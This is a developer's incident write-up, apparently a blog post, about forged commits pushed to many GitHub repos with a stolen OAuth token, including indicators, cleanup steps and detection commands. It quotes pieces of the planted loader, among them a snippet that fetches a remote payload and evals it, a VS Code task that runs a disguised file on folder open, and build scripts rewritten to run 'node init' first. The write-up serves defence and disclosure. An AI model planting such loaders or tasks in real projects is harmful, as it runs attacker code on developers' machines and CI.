TL;DR
- Someone with a stolen GitHub token force-pushed fake copies of my latest commits to 22 repos and 42 branches. Same message, same author name, same date.
- Every fake commit added a hidden loader. It runs when you start the dev server, when CI builds the project, or when you just open the folder in VS Code or Cursor.
- The giveaway was the committer timezone. My commits say +0100. The fakes said -0800 or -0700.
- I had no personal access tokens and no SSH keys on GitHub. The likely way in was an OAuth token saved by a git or editor tool, and those tokens skip your password and your 2FA.
- There's a checklist and some copy-paste commands at the bottom. Run them on your own repos.
A failing build saved me
It started with a Netlify deploy for a small invoice app. The build failed with this:
ERR_PNPM_OUTDATED_LOCKFILE
I opened package.json and found two dependencies I had never added:
"dotenv": "^8.2.0",
"node-fetch": "^3.3.2"
The usual fix for that error is to regenerate the lockfile and push again. I've done it a hundred times. If I had done it this time, Netlify would have installed those packages and run the malware inside my build.
The broken build was the only thing protecting me. So here's the first lesson, before the story even gets going. If a lockfile error points at a dependency you don't recognize, stop. You're not looking at a build problem anymore.
My commits, except they weren't
On GitHub, the latest commit on that repo looked like mine. My commit message, my name, my date. GitHub's security log even listed the push as coming from my own account.
The SHA didn't match the commit on my machine, though. When I looked at the raw commit data, the committer timezone was -0800 or -0700. I'm in Lagos. My commits are +0100.
Git stores two identities on every commit: the author and the committer. The attacker copied my author name, email and date exactly. The committer timestamp came from their own setup, and that's what gave them away. GitHub's UI shows you the author by default, so at a glance it all looked normal.
Once I knew what to look for, it was everywhere:
- 22 repos and 42 branches ended up with forged commits, plus 4 more branches carrying an older variant I found later.
- The pushes came in waves. One around 2026-10-22 at 03:58 UTC, another around 2026-11-05 at 08:00 UTC. Each wave pushed to roughly 30 repos in about two minutes. No human does that by hand. It was a script.
What the fake commits added
Every forged commit planted a loader. The details varied from repo to repo, but these were the pieces.
A file called init. It sat at the repo root and inside monorepo packages. The first 30 lines are a boring script that creates a .tmp folder. The real code is obfuscated JavaScript sitting after about 13,000 spaces on the last line. Your editor and your diff viewer show nothing unusual unless you scroll very far to the right. The older wave used a file called api.js with the same trick.
Rewritten package.json scripts. These are examples from different repos:
"dev": "node init && next dev",
"build": "node init && vite build"
The older wave used node api.js && instead. Every pnpm dev or pnpm build ran the loader first.
Payloads in config files. The same code, hidden after a long run of whitespace, got appended to the last line of configs that run at build time: postcss.config.mjs, astro.config.mjs, eslint.config.js, tailwind.config.js. Each one also gained a new header at the top:
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
That header looks like normal ESM boilerplate, which is why it works as cover.
A remote eval in one Vite app. An async function appended to vite.config.ts did roughly this, simplified:
(async () => {
const fetch = (await import('node-fetch')).default;
const url = atob(process.env.AUTH_API_KEY);
const res = await fetch(url);
eval(await res.text());
})();
A committed .env file held AUTH_API_KEY as a base64 string. Decoded, it pointed to https://info.anondrop[.]net/.... So the actual payload wasn't even in the repo. It was downloaded at build time and run.
A VS Code task that runs when you open the folder. .vscode/tasks.json had a hidden task:
{
"type": "shell",
"command": "node ./public/fonts/fa-solid.lfk",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "never" }
}
That .lfk file is more obfuscated JavaScript pretending to be a font. Fake Font Awesome font files and a README sat next to it so the folder looked legit. Then .vscode/settings.json set "task.allowAutomaticTasks": true. With that combination, opening the project in VS Code or Cursor could run the payload. You didn't have to install or run anything. Workspace Trust blocks this in folders you haven't trusted, but most of us click "Trust" on our own repos without a second thought.
A rewritten .gitignore. It removed the rules for .env* and .vscode/*, which is how the .env and the task file got committed. It also added temp_auto_push.bat, temp_interactive_push.bat, config.bat and branch_structure.json. Those names look like leftovers from a Windows push script on the attacker's side, and some repos even got a committed branch_structure.json listing my branches.
Line ending noise. Many files were converted to Windows line endings. That turned small changes into giant diffs, and the real changes got lost in them.
Where it actually ran
-
In CI. A GitHub Actions workflow built forged commits successfully. Since the build script started with
node init &&, a green build means the loader ran first. It ran in CI, in an environment that had a Convex deploy key. I rotated that key. -
On my machine, maybe. An old local worktree had the
api.jsvariant withnode_modulesalready installed. If I ever ranpnpm devin there, the payload ran locally. - On a new Windows workstation. More on that below.
How they got in
I had no personal access tokens and no SSH keys on my GitHub account. So the attacker almost certainly had an OAuth token. Git Credential Manager, the GitHub sign-in in VS Code or Cursor, and the GitHub CLI all store one of those on your machine. Steal it from an infected computer and you can push as that person.
My leading suspect is a new Windows workstation I had started using a few days before I found all this. I can't prove it was the source. I'm treating it as compromised anyway, and it's getting wiped.
The part that matters most: changing my password would not have stopped any of it. OAuth tokens keep working after a password change, and they don't ask for 2FA. You have to revoke them.
What I did about it
- Revoked every OAuth app and GitHub App authorization. I kept only Netlify, Vercel and CloudCannon. I signed out every other session, then logged the GitHub CLI back in on my trusted Mac only.
- Restored one repo with a force-push. I still had the real commits locally, so for that repo I pushed them back over the forgeries.
- Cleaned the rest with a commit on top. For every other infected branch, I added a "Remove injected malware" commit instead of rewriting history. That meant no force-pushes and no broken deployments. The cleanup worked on git objects directly. I never checked out or ran the infected code to fix it. The forged commits are still in the history, so I don't check out old commits on those branches.
-
Had every cleanup reviewed. A separate AI agent checked all 42 cleanup commits, including whether each lockfile still installed. Its first pass caught real mistakes, like
.gitignorerules I had missed and legitimate long lines in Markdown tables that got trimmed by accident. The second pass cleared all 42. - Rotated the CI deploy key and deleted the old one.
One side lesson. Two builds failed right after the cleanup, and I immediately assumed the attack had broken something else. It hadn't. Google Fonts was briefly serving font URLs that next/font/google couldn't parse. When you're in incident mode, everything looks like the incident. Read the actual log.
What I set up so it can't happen quietly again
None of this needs GitHub Pro. Branch protection would block force-pushes, but on private repos it's a paid feature, so I put this together instead.
Signed commits plus vigilant mode. I created an SSH key just for signing and turned it on globally:
git config --global gpg.format ssh
git config --global user.signingkey ~/.ssh/id_ed25519_signing.pub
git config --global commit.gpgsign true
Then I added the key on GitHub as a signing key and turned on "Flag unsigned commits as unverified" in the SSH and GPG keys settings. Any new commit that isn't signed with my key, forged or not, now shows an Unverified badge.
Fast-forward-only pulls.
git config --global pull.ff only
If someone rewrites a remote branch, git pull now fails loudly instead of quietly merging their history into mine.
No automatic tasks in the editor. In both VS Code and Cursor user settings:
"task.allowAutomaticTasks": "off"
A watchdog script. I wrote a small tool called repo-guard. launchd runs it every 30 minutes. It uses the GitHub GraphQL API to list every branch of every repo I own and sends a macOS notification in two cases. The first is when a branch's history gets rewritten, meaning the old head is no longer an ancestor of the new one. The second is when a branch head contains loader files or payload markers. It also has a scan <dir> mode that I run before installing or building any project.
Rules for my AI coding assistant. I added these to its global instructions. Scan the repo before running any project command. Treat an unexpected dependency or script change as a security incident, not a build error. Never force-push, and never pull over rewritten history, without asking me first. An assistant that "helpfully" regenerates a lockfile would have done exactly what the attacker wanted.
Check your own repos
Any one of these is worth investigating:
- A file named
init, or a rootapi.js, that you didn't write -
node init &&ornode api.js &&in yourpackage.jsonscripts - Very long lines with a big run of whitespace in config files, especially at the end of the last line
- A new
import { createRequire } from 'module'header in a config file -
.lfkfiles inpublic/fonts -
.vscode/tasks.jsonwith"runOn": "folderOpen" -
"task.allowAutomaticTasks": truein.vscode/settings.json -
.gitignoregainingtemp_auto_push.batorconfig.bat, or losing its.envrules -
node-fetchordotenvshowing up in dependencies when you didn't add them - Commits on GitHub with your name but a committer timezone you don't use
-
(forced update)ingit fetchoutput on a branch you never force-pushed
Some commands to run inside a repo. None of them run project code. The forgeries live on the remote, so these check every remote branch, not just your checkout:
# Fetch first and look for "(forced update)" in the output
git fetch --all
# Already fetched before? Look for forced updates in the reflog instead
git reflog show origin/main | grep -i forced
# Every remote branch
REFS=$(git for-each-ref --format='%(refname:short)' refs/remotes/origin)
# Files that shouldn't be there
for r in $REFS; do
git ls-tree -r --name-only "$r" | grep -E '(^|/)(init|api\.js|branch_structure\.json)$|\.lfk$' | sed "s|^|$r: |"
done
# Loader calls in package.json scripts
git grep -nE 'node (init|api\.js) &&' $REFS -- '*package.json'
# Code hiding after a long run of spaces
git grep -nE ' {50,}[^ ]' $REFS -- '*.js' '*.mjs' '*.cjs' '*.ts'
# Author date vs committer date, with timezones, across all branches
git log --all -30 --format='%h author %ai committer %ci %s'
If you find something, don't install, build or open the project in your editor. Revoke your GitHub authorizations first. Go to Settings, then Applications, and clear out both Authorized OAuth Apps and Authorized GitHub Apps. Then clean up.
Last thing
I build client sites and my own products. Losing a few days to cleanup was annoying. Shipping a payload to a client's production build would have been much worse.
What protected me was a lockfile error I almost "fixed". So the next time a build fails in a way that doesn't make sense, read the diff before you read the error. And go check your committer timezones.
Top comments (0)